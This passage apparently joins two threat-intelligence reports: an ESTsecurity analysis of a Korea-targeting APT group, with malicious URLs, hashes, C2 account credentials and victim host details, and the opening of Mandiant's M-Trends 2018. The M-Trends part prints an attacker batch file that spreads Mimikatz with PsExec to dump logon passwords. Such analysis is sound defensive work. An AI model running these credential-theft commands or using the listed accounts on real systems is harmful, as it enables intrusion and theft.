'360TS_Setup_Mini.exe' is downloaded. - http://ebsmpi.com/ipin/360/down[.]php Security Response Center [Figure 13] Infecting 'ebsmpi.com' website in Korea and adding the screen It disguises the file name (360TS_Setup_Mini.exe) like the security program in China, and the icon also camouflages Security Response Center the normal program. The additional .Net-based malicious file is installed depending no environmental conditions. ESRC identified in August 2018 that the encryption algorithm is 100% identical to the vector technique of the attack disguising as the Korean portal program [Figure 14] Comparison of malicious files disguised as a Chinese security program and normal file - http://ebsmpi.com/ipin/360/Ant_3.5[.]exe (MD5 : ff32383f207b6cdd8ab6cbcba26b1430) - http://ebsmpi.com/ipin/360/Ant_4.5[.]exe (MD5 : 84cbbb8cdad90fba8b964297dd5c648a) - http://ebsmpi.com/ipin/360/desktops[.]ini (MD5 : ab2a4537c9d6761b36ae8935d1e5ed8a) - http://cgalim.com/admin/hr/temp[.]set (MD5 : fa39b3b422dc4232ef24e3f27fa8d69e) The normal '360TS_Setup_Mini.exe' file is installed in the domain 'cgalim.com' with the file name 'temp.set', which is also used for a similar infringement attack discovered in Second half of the year. Security Response Center [Figure 14-1] '360TS_Setup_Mini.exe' installing the normal file Initial malicious files based on .Net include the following PDB paths, some of which are omitted from the latest variants. - E:\project\windows\Rocket\Ant\Api\PubnubApi\obj\Debug\net35\Pubnub.pdb - E:\project\windows\Rocket\Sys-Guard\Servlet-standalone_Guard\Release\Servlet.pdb - E:\project\windows\Rocket\Sys-Guard\Chutty_Guard\Release\Chutty.pdb - E:\project\windows\Rocket\Servlet\Release\Servlet.pdb - E:\project\windows\Rocket\Ant_4.5\Ant\obj\Release\Ant.pdb ESRC has verified that when executing the malicious file, they download the normal programs from another infected server to trick users believing into the normal program is running. The C2 server overlaps with the hosts, which are detected from the distribution of Android malicious application (1.apk) and the bitcoin related 'bitcoin-trans.doc' (MD5: 8ab2819e42a1556ba81be914d6c3021f) malicious file. - http://cgalim.com/admin/hr/hr[.]doc (MD5 : 24fe3fb56a61aad6d28ccc58f283017c) - http://cgalim.com/admin/hr/1[.]apk (MD5 : 9525c314ecbee7818ba9a819edb4a885) - http://cgalim.com/admin/hr/temp[.]set (MD5 : fa39b3b422dc4232ef24e3f27fa8d69e) The domain 'cgalim.com' left traces that show the variant file is distributed in /1211me/ as well as the subpath /hr/. Security Response Center The group conducted a watering hole attack against North Korean organizations in 2015 and 2016. The attackers were actively exploiting flash player vulnerabilities for the attack. North Korea-related news sites and web sites have been mainly targeted by the threat, and lasts for several months. The following is a malicious object added to the infected website. [Figure 15] Flash player vulnerability code used for watering hole attack The hacking group exploited the latest Flash player vulnerabilities CVE-2015-5119 and CVE-2015-0313 in 2015, and Flash Player CVE-2015-5119 vulnerability leaked from the server hacking attack performed by Italian Hacking Team. The group has used KakaoTalk Messenger to selectively target victims and carried out the attack exploiting the CVE2018-4878 Flash Player Zero-day vulnerability since late 2017. - G:\FlashDeveloping\mstest\src (CVE-2014-8439) - G:\FlashDeveloping\20148439\src (CVE-2014-8439) - G:\FlashDeveloping\Main\src\ (CVE-2015-0313) - G:\FlashDeveloping\2015-3090\src (CVE-2015-3090) - G:\FlashDeveloping\20153105\src (CVE-2015-3105) - G:\FlashDeveloping\20155119\src (CVE-2015-5119) - G:\FlashDeveloping\chrome_ie\src (CVE-2015-5119) Security Response Center In case that the additional malware downloaded by the Flash Player Vulnerability (SWF) fails to execute administrator privileges via User Account Control, a fake error message of hard disk pops up after about 5 minutes. It manipulates as backup process and re-execute the malware with administrator privilege CMD command. Some Korean expressions observed were identical to the English computer expression (prose, program) used in North Korea. [Figure 16] Fake error message containing a North Korean expression of computer terminology The C2 communication method has evolved over the years. In the earliest days, America Online Instant Messenger (AIM) Oscar protocol was used for Command and Control. The encrypted communication proceeds with the AIM Messenger's account and password, which is English characters typed on Korean keyboard. The initially used PDB path shows it is developed in the AOL folder. - fastcameron13 / powercooper00 / dPfWls&Rkapfns19 ( 19) - F:\Program\svr_install\Release\svr_install.pdb - F:\Program\Aol\Release\ServiceDll1.pdb Security Response Center [Figure 17] Using AIM Messenger as C2 When communicating with AIM Messenger, the attacker uses the login account and password, and sends the encrypted message to another account user after the connection is completed. When the device is infected, the encrypted messages such as computer information and additional commands will be transmitted, and various accounts have been used. Attackers mainly have the following accounts such as aol.com, hotmail.com, yahoo.com, india.com, inbox.com, gmail.com and zmail.ru and created and used the other variants. - allmothersorg11@hotmail.com - allmothersorg@hotmail.com - bluelove@india.com - cmostenda01@yahoo.com Security Response Center - cmostenda102@yahoo.com - cmostenda103@yahoo.com - daum14401@zmail.ru - dapplecom2013@yahoo.com - eatleopard00@inbox.com - fastcameron00 - fastcameron11 - fastcameron13 - fatpigfarms@hotmail.com - fatpigs9009@hotmail.com - friendleopard00@aol.com - ganxiangu04@hotmail.com - ganxiangu07@hotmail.com - greatvictoria84 - greatvictoria85 - greatvictoria86 - greatvictoria87 - hatmainman@hotmail.com - hatwoman40@hotmail.com - jinmeng288@gmail.com - minliu231@gmail.com - Okokei@india.com - pghlsn333@gmail.com - prettysophia00 - prettysophia47 - prettysophia48 - prettysophia49 - prettysophia50 - prettysophia51 - prettysophia52 - prettysophia53 - prettysophia54 - prettysophia55 - prettysophia56 Security Response Center - prettysophia57 - tosarang87@gmail.com - winpos1000@zmail.ru - winpos1001@zmail.ru - winpos1002@zmail.ru - winpos1003@zmail.ru - winpos1004@zmail.ru - xiangangxu88@hotmail.com - zum36084@gmail.com - zum36084@zmail.ru - zum36085@zmail.ru The emails such as "zum36084@gmail.com", "zum36084@zmail.ru", daum14401@zmail.ru were generated and they were sent as a test in early 2016. Investigations based on IoA (Indicators of Attack) reveal that an attacker has set up a 'zum36084@gmail.com' email to disguise as 'Google Account Team', and they have used Hangul from the beginning. Security Response Center [Figure 18] Testing after generating the emails for the attack Emails sent as a test Mar 03, 2016 attached the '0303_zmail.gif' file, which is the malicious file of EXE format that is encrypted by 2 steps such as XOR 0x69 key. The decrypted malicious file is set to infect only a specific computer name, which includes Korean name and the name of a journalist from a specific press. - WOOSEONG-PC - T-PC Security Response Center Some variants check the following accounts. For example, the name of 'SEIKO' computer is often identified in IOCs. In particular, when using the HWP document file vulnerability, it matches the account of the last writer, and has been identified in the infection logs of '175.45.178.133'. - KIM[Administrator] - JAMIE[Jamie Kim] - DONGMIN[MinSk] - T-PC[T] - YONGJA-PC - USER - sec - CRACKER-PC - SEIKO The following sites are bookmarked by the users as follows in the infection log of 'SEIKO' account. Windows IP Configuration Host Name . . . . . . . . . . . . : SEIKO-PC Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No Ethernet adapter Ethernet: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Realtek PCIe FE Family Controller Physical Address. . . . . . . . . : F0-DE-F1-A1-96-C3 DHCP Enabled. . . . . . . . . . . : No Autoconfiguration Enabled . . . . : Yes IPv4 Address. . . . . . . . . . . : 175.45.178.133(Preferred) Security Response Center Subnet Mask . . . . . . . . . . . : 255.255.255.240 IPv4 Address. . . . . . . . . . . : 192.168.0.135(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.0.1 175.45.178.129 Directory of c:\users\SEIKO\Favorites\Links\mail 2016-04-24 06:13 150 126? .url 2016-04-24 06:13 213 163? .url 2016-04-24 06:13 808 AOL Mail.url 2016-04-24 06:13 265 Gmail.url 2016-04-24 06:13 837 Hotmail.url 2016-04-24 06:13 152 Inbox.url 2016-04-24 06:13 183 India.url 2016-04-24 06:13 466 Yahoo mail.url 2016-04-24 06:13 218 zmail.url Directory of c:\users\SEIKO\Favorites\Links\ 2016-04-24 06:13 112 FN .URL 2016-04-24 06:13 115 Sputnik.URL 2016-04-24 06:13 110 .URL 2016-04-24 06:13 109 .URL 2016-04-24 06:13 114 .URL 2016-04-24 06:13 113 .URL 2016-04-24 06:13 151 .URL Directory of f:\2_Program\Orbis_zmail\Debug 2016-01-16 12:11 0 F0DEF1A196C3_C.zip 2016-01-16 12:30 2,293,380 F0DEF1A196C3_E.zip 2016-01-16 12:30 12,827,289 F0DEF1A196C3_F.zip 2016-01-16 09:16 22 F0DEF1A196C3_D.zip 2016-02-15 10:28 5,914,135 F0DEF1A196C3_G.zip Security Response Center In addition, the computer that satisfies the condition decrypts the encrypted code inside with XOR 0x55 key, and generates it as 'conhost.exe' filename and executes it. For instance, the 'conhost.exe' file communicates with AOL Messenger. [Figure 19] The code to communicate with AOL Messenger Security Response Center It is noteworthy that the password code (dPQms&Thvldk1987), which is used to log in to AOL Messenger, will be converted to ' 1987 (Pretty&Sopia1987)' in Korean when typing it with Hangul keyboard. Attackers also use multiple Chinese expressions in AOL messenger communication. Another variant uses the 'Dajiahao' code as the mutex key, which means 'Hello everyone in Chinese. dPfWls&Rkapfns19 is used as the password for the AOL login account and it is changed to ' 19 (Yelchin&Kermelon19)' in Korean when typing with Korean keyboard. [Figure 20] Chinese greeting and Korean-convertible password Security Response Center Many variants are found in various forms. In case of 'SEIKO' computer name, the following PDB path is observed and emails like 'zum36085@zmail.ru', 'pghlsn333@gmail.com' were used. - F:\2_Program\Orbis_zmail\Release\RecvTest_zmail.pdb The following PDB paths are identified in similar variants: - F:\2_Program\Orbis_academia\Release\RecvTest_zmail.pdb - F:\2_Program\Orbis_academia\Release\Recv_Pwd_2_India.pdb [Figure 21] PDB code with Zmail test information ESRC has been able to detect the attack technique aimed at an unspecified number of people in addition to the APT target attacks. The attackers infect users by injecting the malware in illegal software by subscribing to the Korean torrent website. Namely, they distribute the famous commercial software illegally after inserting malware inside. Attackers have earned points as follows from the Korean torrent site, and they actively uploaded files and posted comments as well. Security Response Center [Figure 22] Activity History in Korean torrent site Time Series Analysis of Geumseong12 Group The attackers hacked the Korean website and used it as C2 server for a while after using the AOL Messenger communication technique in the first half of 2013. However, they may have discovered that the technique is lack of continuous availability after the websites are detected and quickly shut down by the security providers and managers. After a while, they created a variant with excellent sustainability, exploiting the AOL Messenger communication technique. After that, the infected WordPress-based websites were mainly used it as a watering hole attack base. They mainly used Flash player vulnerability files and Streamnation cloud account, which is a personal media hub service, in attacks using the WordPress websites. The attackers continued to use the AOL messenger for the attacks, but they chose WordPress websites as a C2 server for mediation server of spear phishing and watering hole attacks. In the meantime, as the "Streamnation" service is closed in February 2016, the attackers launched the testing for zmail.ru service since the end of January 2016, which they had been continuously used before. Security Response Center As such, the attackers attempted to change to the new C2 server system by introducing the 'zmail.ru' service and start to introduce 'pCloud' service with the AOL messenger communication. When creating a cloud service account, they use free email services not only in Korea but also in countries such as the US, China, India, and Russia. As attack tactics have changed over time, CVE-2018-4878 vulnerability files have been sent to specific targets that had not been added to friends via KakaoTalk messages, and Android malicious apps targeting smartphone users have also been found. The DOC document vulnerability attack on cryptocurrency was first reported overseas at the end of 2017. In addition, the attackers are steadily upgrading attack technologies such as distribution of malware disguising as security programs in Korea and China or infecting users via Torrent. [Changes in C2 techniques according to Time Series] March 26, 2013: AOL messenger service April 20, 2013: Communication with a specific website in Korea July 10, 2015: WordPress Website Communication July 14, 2015: Streamnation Personal Cloud Service August 09, 2015: Streamnation Personal Cloud Service February 09, 2016: Official end of Streamnation Personal Cloud Service April 11, 2016: Pcloud Personal Cloud Service December 15, 2017: Official end of AOL Messenger service December 12, 2017: PubNub IaaS Service January 16, 2018: PubNub laaS Service February 23, 2018: PubNub IaaS Service August 14, 2018: PubNub IaaS Service Security Response Center [Figure 23] C2 communication that changes with time Security Response Center Conclusion - Persistent Threat Security Response Center Special Report Conclusion Persistent Threat In addition to the previous cases, similar infringement using the same IoC code or metadata has been discovered for many years in Korea, and ESRC is constantly pursuing the change process. Further details will be available on 'Threat Inside', which is the service scheduled to be launched from the second half of the year. IoCs and the specialized intelligence report are provided to corporate customers via 'Threat Inside'. Security Response Center Special Report Indicator of Compromise (IoC) Press Resources Fake AV Investigation Unearths KevDroid, New Android Malware https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html Reaper Group s Updated Mobile Arsenal https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/ https://s.tencent.com/research/report/274.html 14 https://www.boannews.com/media/view.asp?idx=72235 File name .zip .hwp denk.zip 360TS_Setup_Mini.exe bitcoin-trans.doc 1.apk conhost.exe Malware MD5 af6721145079a05da53c8d0f3656c65c 1213e5a0be1fbd9a7103ab08fe8ea5cb edc1bdb2d70e36891826fdd58682b6c4 b710e5a4ca00a52f6297a3cc7190393a 05eef00de73498167b2d7ebdc492c429 ff32383f207b6cdd8ab6cbcba26b1430 84cbbb8cdad90fba8b964297dd5c648a ab2a4537c9d6761b36ae8935d1e5ed8a fa39b3b422dc4232ef24e3f27fa8d69e Security Response Center 8ab2819e42a1556ba81be914d6c3021f 24fe3fb56a61aad6d28ccc58f283017c 9525c314ecbee7818ba9a819edb4a885 fa39b3b422dc4232ef24e3f27fa8d69e Domain http://endlesspaws.com/vog/tan[.]php?fuck=x http://endlesspaws.com/vog/denk[.]zip seline.co.kr/datafiles/CNOOC[.]php www.causwc.or.kr/board_community01/board_community01/index2[.]php www.kumdo.org/admin/noti/files/iindex[.]php www.icare.or.kr/upload/board/index1[.]php cnjob.co.kr/data/blog/iindex[.]php notac.co.kr/admin/case/iindex[.]php http://ebsmpi.com/ipin/360/down[.]php http://cgalim.com/admin/hr/hr[.]doc IP address 175.45.178.133 Mutex name taihaole9366 CVE CVE-2017-8759 CVE-2015-5119 CVE-2014-8439 CVE-2015-0313 CVE-2015-3090 CVE-2015-3105 CVE-2015-5119 String Haizi LiuJin srvrlyscss Security Response Center fastcameron13 powercooper00 dPfWls&Rkapfns19 ( 19) dPQms&Thvldk1987 ( 1987) KIM[Administrator] JAMIE[Jamie Kim] DONGMIN[MinSk] T-PC[T] YONGJA-PC USER CRACKER-PC SEIKO Security Response Center # The content of the report or any part of it shall not be cited, reproduced, copied, stored or transmitted to third parties without a prior written consent of ESTsecurity. ESTsecurity Response Center Security Response Center https://www.estsecurity.com/ esrc@estsecurity.com M-TRENDS2018 SPECIAL REPORT | M-TRENDS 2018 TABLE OF CONTENTS Introduction 2017 By The Numbers Newly Named APT Groups Iran State-Sponsored Espionage Hidden Threats Remain in Legacy Systems Once a Target, Always a Target Red Teaming for Security Effectiveness Cyber Security Skills Gap The Invisible Risk Enduring Trends in Security Fundamentals Predictions for 2018 Conclusion SPECIAL REPORT | M-TRENDS 2018 INTRODUCTION In this M-Trends 2018 report, we look at some of the latest trends identified during the October 1, 2016 to September 30, 2017 reporting period, as revealed through incident response investigations by Mandiant, a FireEye company. When it comes to detecting compromises, organizations appear to be getting better at discovering breaches internally, as opposed to being notified by law enforcement or some other outside source. This is important because our data shows that incidents identified internally tend to have a much shorter dwell time. However, the global median dwell time from compromise to discovery is up from 99 days in 2016 to 101 days in 2017. In this year s report, we explore some longer-term trends, many of which have evolved. We look at organizations that have been targeted or re-compromised after remediating a previous attack, a topic we first discussed in M-Trends 2013. We also examine the widening cyber security skills gap and the rising demand for skilled personnel capable of meeting the challenges posed by today s more sophisticated threat actors. We take a detailed look at a Mandiant Red Team Assessment to explore how we leverage sophisticated attacker tactics, techniques and procedures (TTPs) in simulated attacks to show organizations what they need to do to stay ahead of those threats. We also provide examples of where we saw attackers exploit weaknesses in an organization s detection and prevention controls. M-Trends 2018 can arm security teams with the knowledge they need to defend against today s most often used cyber attacks, as well as lesser seen and emerging threats. The information in this report has been sanitized to protect identities of victims and their data. SPECIAL REPORT | M-TRENDS 2018 2017 BY THE NUMBERS The statistics reported in M-Trends are based on Mandiant investigations into targeted attack activity conducted between October 1, 2016 and September 30, 2017. GLOBAL MEDIAN DWELL TIME 2016 2017 Days Dwell time is the number of days from first evidence of compromise that an attacker is present on a victim network before detection. A median represents a value at the midpoint of a sorted data set. Mandiant continues to use the median value over mean or average to minimize the impact of outlying values. Days Global The global median dwell time of 101 days is essentially unchanged from last year s report of 99 days. Organizations across the globe are identifying attacker activity on their own more often than they are being notified by an external source, with 62% of breaches detected internally. Mandiant s position in the market would tend to skew our statistics toward organizations who were notified of an incident by a third party, since presumably an organization is less likely to be confident they can investigate an incident they failed to identify on their own. The fact that more clients self-identify the incidents we investigate for them is a potential indication that detection capabilities have improved for all organizations and not just Mandiant clients. SPECIAL REPORT | M-TRENDS 2018 2017 EMEA MEDIAN DWELL TIME 2016 Days Days AMERICAS MEDIAN DWELL TIME 75.5 Days 2017 2017 2016 Days Days 2016 APAC MEDIAN DWELL TIME Days Americas The Americas median dwell time decreased slightly from 99 days in 2016 to 75.5 days in 2017. Europe, the Middle East and Africa (EMEA) The median dwell time for EMEA in 2017 was 175 days, up from 106 days in 2016. We attribute this to increased notification programs by national law enforcement. These have uncovered attacks dating back a significant period of time, many of which involved active attackers in the target environment at the time of notification. Asia-Pacific (APAC) The median dwell time for APAC increased in 2017 to 498 days, from 172 days in 2016. This dwell time is similar to the APAC dwell time of 520 days reported in M-Trends 2016. It is also similar to the first dwell time statistic ever reported by Mandiant, which was a global dwell time of 417 days. With a maximum observed dwell time of 2,085 days, attackers in APAC are often able to maintain access in compromised organizations for far too long. SPECIAL REPORT | M-TRENDS 2018 Other Business and Professional Services Industries Investigated High Tech Retail and Hospitality Energy Healthcare Entertainment and Media Government Financial Organizations Investigated By Mandiant in 2017, By Industry Industry Americas APAC EMEA Global Business and Professional Services Energy Entertainment and Media Financial Government Healthcare High Tech Retail and Hospitality Other SPECIAL REPORT | M-TRENDS 2018 Median Dwell Time, By Region 1088 1100 1000 Internal Discovery External Notification All Notification Days 320.5 57.5 124.5 42.5 GLOBAL 75.5 24.5 AMERICAS EMEA APAC Median Dwell Time, By Year Days 2016 2017 2011 2012 2013 2014 Year 2015 SPECIAL REPORT | M-TRENDS 2018 GLOBAL Organizations detected a compromise themselves in 62% of the cases that Mandiant worked in 2017. Organizations in the United States fared the best with 64% of cases detected by the organization. While this is trending in the right direction, it still shows that too many organizations are not aware that they have been compromised without external assistance. Notification By Source Internal External AMERICAS EMEA APAC Notification By Source Notification By Source Notification By Source SPECIAL REPORT | M-TRENDS 2018 Global Dwell Time Distribution The global median dwell time is 101 days. However, actual global dwell times vary significantly, ranging from less than one week to over 2,000 days. 7 or fewer 8-14 15-30 31-45 46-60 DAYS 61-75 76-90 Days 91-150 151-200 201-300 301-400 401-500 501-600 601-700 701-800 801-900 1000-2000 2000+ Percentage of investigations SPECIAL REPORT | M-TRENDS 2018 NEWLY NAMED APT GROUPS FireEye tracks thousands of threat actors, but pays special attention to state-sponsored attackers who carry out advanced persistent threat (APT) attacks. Unlike many cyber criminals, APT attackers often pursue their objectives over months or years. They adapt to a victim organization s attempts to remove them from the network and frequently target the same victim if their access is lost. FireEye tracks more than a thousand uncategorized attackers and only promotes a TEMP group to a named APT group when we have confidence surrounding their specific: Sponsoring nation Tactics, techniques, and procedures (TTPs) Target profile Attack motivations In 2017, FireEye promoted four attackers from previously tracked TEMP groups to APT groups. SPECIAL REPORT | M-TRENDS 2018 APT32 March 20, 2017 Since at least 2014, APT32, also known as the OceanLotus Group, has targeted foreign corporations with investments in Vietnam, foreign governments, journalists, and Vietnamese dissidents. Evidence also suggests that APT32 has targeted network security and technology infrastructure corporations with connections to foreign investors. During a recent campaign, APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros. Upon execution, the initialized file typically downloaded malicious payloads from a remote server. FireEye asesses that APT32 actors may be aligned with the national interests of Vietnam. We believe recent activity targeting private interests in Vietnam suggests that APT32 poses a threat to companies doing business or preparing to invest in the country. While the specific motivation for this activity remains opaque, it could ultimately erode targeted organizations competitive advantage. SPECIAL REPORT | M-TRENDS 2018 APT33 August 21, 2017 Since at least 2013, the Iranian threat group FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense, aerospace and petrochemical organizations. Additionally, there is evidence to suggest APT33 targeted Saudi Arabian and Western organizations that provide training, maintenance and support for Saudi Arabia s military and commercial fleets. SPECIAL REPORT | M-TRENDS 2018 APT33 leverages a mix of public and non-public tools (Fig. 1) and often conducts spear-phishing operations using a built-in phishing module from ALFA TEaM Shell, a publicly available web shell. The use of multiple nonpublic backdoors suggests the group is supported by software developers. DROPSHOT is a notable piece of malware used to deliver variants of the TURNEDUP backdoor. Although we have only observed APT33 use DROPSHOT to deliver TURNEDUP, we have identified multiple DROPSHOT samples in the wild that delivered wiper malware we call SHAPESHIFT.1 The SHAPESHIFT wiper is capable of wiping disks and volumes, as well as deleting files. Ties to SHAPESHIFT suggest that APT33 may engage in destructive operations or shares tools or development resources with an Iranian threat group that conducts destructive operations. Both DROPSHOT and SHAPESHIFT contain Farsilanguage artifacts, which indicates that they may have been developed by a Farsi language speaker. FireEye has not identified APT33 using SHAPESHIFT, but APT33 is the only group FireEye has seen to use DROPSHOT. The overlap between SHAPESHIFT and DROPSHOT indicates that tools specifically DROPSHOT or development resources may be shared among Iranian threat groups, or that APT33 may engage in destructive operations. In a recent attack, APT33 sent spear-phishing emails to workers in the aviation industry. These emails included recruitment-themed lures and links to malicious HTML application (HTA) files. The HTA files contained job descriptions and links to job postings on popular employment websites. The file would appear to be a legitimate job posting, but the HTA file also contained malicious content that downloaded a custom APT33 backdoor from an attacker-controlled domain. Figure 1. APT33 TTPs in relation to the attack life cycle. Maintain Presence Move Laterally NANOCORE NETWIRE TWINSERVE TURNEDUP DROPBACK VPN Access PsExec WMI VB Scripts Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission Spear-phishing TWINSERVE TURNEDUP Mimikatz and ProcDump GREATFALL ADExplorer utility PowerView component of the PowerSploit framework Native OS commands WinRAR FastUploader V.1 Staged data in hidden $Recycle.Bin directories 1 FireEye has not found any code overlap between SHAPESHIFT and the suspected Iranian wiper SHAMOON. SPECIAL REPORT | M-TRENDS 2018 November 14, 2017 APT34 SPECIAL REPORT | M-TRENDS 2018 Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government. APT34 uses a mix of public and non-public tools (Fig. 2) and often uses compromised accounts to conduct spear-phishing operations. In July 2017, FireEye observed APT34 targeting an organization in the Middle East using the POWRUNER PowerShell-based backdoor and the downloader BONDUPDATER, which includes a domain generation algorithm (DGA) for command and control. POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199. In November 2017, APT34 leveraged the Microsoft Office vulnerability CVE-201711882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch. Figure 2. APT34 TTPs in relation to the attack life cycle. Maintain Presence Webshells RDP VPN Access SSH tunnels to CS servers Created shortcuts in startup folder Plink POWRUNER Move Laterally PsExec WMI RDP PowerShell scripts Wscript Plink ELVENDOOR Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission Spear-phishing Leverage social media to share links to malicious files Accessed unauthenticated MySQL database administration web application Brute force attack against OWA to access Exchange Control Panel POWBAT HELMINTH ISMAGENT Webshells including SEASHARPEE Mimikatz Key logger KEYPUNCH Lazagne Brute force password attacks Modified Outlook Web App logon pages on Exchange Servers SoftPerfect Network Scanner PowerShell scripts Native OS commands GOLDIRONY CANDYKING PowerShell scripts used for data exfiltration via DNS Exfiltration via RDP Compress data into RAR files, stage them to an internet accessible server, then download the files Exported email boxes (PST files) SPECIAL REPORT | M-TRENDS 2018 APT35 December 15, 2017 FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors. SPECIAL REPORT | M-TRENDS 2018 APT35 has historically used unsophisticated tools like those listed below in Figure 3. Their complex social engineering campaigns, however, employ fake social media personas with convincing backgrounds that include supporting details and links to real persons and organizations. Many of the fake personas utilized by APT35 claimed to be part of news organizations, which led to APT35 being referred to as the Newscaster Team. The effort required to establish these networks and online front organizations suggests the group is well resourced. More recent operations suggest that APT35 has expanded both the scope of its targeting and its employed toolset. From August 2016 to August 2017, APT35 engaged in multiple operations against a broad range of victims, including those in the following sectors: Telecommunications Business services Energy Construction and engineering Government Defense Media Figure 3. APT35 TTPs in relation to the attack life cycle. Maintain Presence Move Laterally FIVERINGS BROKEYOLK RARESTEAK Meterpreter Batch file that persisted via a registry-run key Powershell TightVNC VPN Mimikatz Procdump Psexec RDP Plink Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission Phishing Valid credentials obtained from previous compromise Password Spray Ekton CMS Vulnerability Strategic Web Compromise Credential Theft Webshells, including Tunna and ASPXSHELLSV DRUBOT MANGOPUNCH HOUSEBLEND PUPYRAT Steal valid user credentials, including soft token Gain access to domain controllers, Exchange/ CAS servers Alter mailbox access rights Powershell Access mailboxes SoftPerfect Network Scanner SMB Scanning Office 365 Delete log files Delete and overwrite files Stage RAR files in local folders Download Personal Storage Table (PST) Archive Create email forwarding rules SPECIAL REPORT | M-TRENDS 2018 IRAN STATE-SPONSORED ESPIONAGE SPECIAL REPORT | M-TRENDS 2018 Throughout 2017, Mandiant observed a significant increase in the number of cyber attacks originating from threat actors sponsored by Iran. While they have captured notoriety over the past year, especially for their destructive attacks, much of their espionage activity has gone unnoticed. Their list of victims currently spans nearly every industry sector and extends well beyond regional conflicts in the Middle East. For some time, these threat actors were primarily a nuisance consisting of a loose collective of patriotic hackers who conducted web defacements, distributed denial of service (DDoS) campaigns and occasional destructive malware attacks. Since 2010, post-Stuxnet, Iran has increased its cyber espionage capabilities and is now operating at a pace and scale consistent with other nationstate sponsored APT groups. Iranian threat actors have compromised a variety of organizations, but recently they have expanded their efforts in a way that previously seemed beyond their grasp. Today they leverage strategic web compromises (SWC) to ensnare more victims, and to concurrently maintain persistence across multiple organizations for months and sometimes years. Rather than relying on publicly available malware and utilities, they develop and deploy custom malware. When they are not carrying out destructive attacks against their targets, they are conducting espionage and stealing data like professionals. SPECIAL REPORT | M-TRENDS 2018 APT35 CASE STUDY: APT35 In early 2017, Mandiant responded to an incident involving APT35 targeting an energy company. The attacker used a spear-phishing email containing a link to a fake resume hosted on a legitimate website that had been compromised. The resume contained the PUPYRAT backdoor, which communicated with known APT35 infrastructure. APT35 also installed BROKEYOLK, a custom backdoor, to maintain persistence on the compromised host. They then proceeded to log directly into the VPN using the credentials of the compromised user. 1. Copied a modified variant of Mimikatz to the remote system. 2. Executed Microsoft Sysinternal s PsExec utility to deploy and execute a Windows batch file containing commands to execute the Mimikatz variant on each target system. Once connected to the VPN, APT35 focused on stealing domain credentials from a Microsoft Active Directory Domain Controller to allow them to authenticate to the single-factor VPN and Office 365 instance. The attacker did not deploy additional backdoors to the environment. During the analysis of a compromised domain controller, Mandiant identified batch files (Fig. 4) that were used to steal credentials and hide attacker activity by performing the following actions: 3. Copied the contents of the Mimikatz output to a local file, named after the remote system. 4. Deleted the modified variant of Mimikatz from the remote system. Figure 4. Contents of recovered batch files. Contents of run.bat copy MsMpEng.exe \\%1\C$\windows\temp\MsMpEng.exe PsExec.exe \\%1 -s -c m.bat -accepteula move \\%1\C$\Windows\temp\temp.dat %1.txt del \\%1\C$\windows\temp\MsMpEng.exe Contents of m.bat C:\windows\MsMpEng.exe privilege::debug sekurlsa::logonPasswords exit > C:\windows\temp\temp.dat SPECIAL REPORT | M-TRENDS 2018 While the credential harvesting technique was unsophisticated, it was effective. Mandiant s analysis indicated the attacker successfully harvested credentials from more than 500 systems within the environment using this technique. While having access to the organization environment, the attacker targeted data related to entities in the Middle East. Mandiant has previously observed targeted attackers stealing email, but few threat actors have been as successful at this as APT35. Additionally, the attacker s methodology for accessing and stealing email from a victim organization adapted to accommodate cloud migration trends as companies moved to offpremises email solutions such as Office 365. Forensic analysis revealed the attacker leveraged Microsoft Exchange Client Access cmdlets to modify permissions on target mailboxes. Exchange has several Client Access cmdlets that are used legitimately by Exchange administrators for routine tasks and maintenance. Mandiant observed that the attacker had granted compromised accounts read access to hundreds of mailboxes with the AddMailboxPermission cmdlet (Fig. 5). Following the assignment of mailbox permissions, the attacker authenticated to the victim organization s Outlook Web Access (OWA) portal to access targeted inboxes. By assigning these permissions to a single account, the attacker was able to read, access and steal hundreds of emails in a single view. The attacker could also blend into normal day-to-day activities of users accessing their email through the OWA portal, and did not need to install any additional malware into the environment. Ultimately, APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations, which later became victims of destructive attacks. A cmdlet is a lightweight Windows PowerShell command. Figure 5. Example of attacker adding read access to target mailbox. 2018-01-01 01:02:34 EXCHANGESERVER 7872 w3wp#MSExchangePowerShellFrontEndAppPool 68 COMPROMISED_ ACCOUNT TRUE ManagementShell Add-MailboxPermission -User -AccessRights FullAccess ) -InheritanceType SPECIAL REPORT | M-TRENDS 2018 HIDDEN THREATS REMAIN IN LEGACY SYSTEMS A case study from Asia Pacific Organizations continue to struggle with tracking and maintaining their internet footprint. This case study from Asia Pacific illustrates the continuation of a well-established trend of exposure and compromise of poorly protected and overlooked legacy systems. SPECIAL REPORT | M-TRENDS 2018 A large company in Asia was recently the latest in a long line of organizations to be compromised because Remote Desktop Protocol (RDP) is accessible from the Internet. The breach was identified through the discovery of an unauthorized database administrator account on a billing database server. The company s internal investigation uncovered unauthorized RDP logons by a local administrator account to a legacy web server. The attacker then connected to and tunneled connections through an intermediary system in the client environment. From the intermediary system, the attacker was able to access a database server using a separate 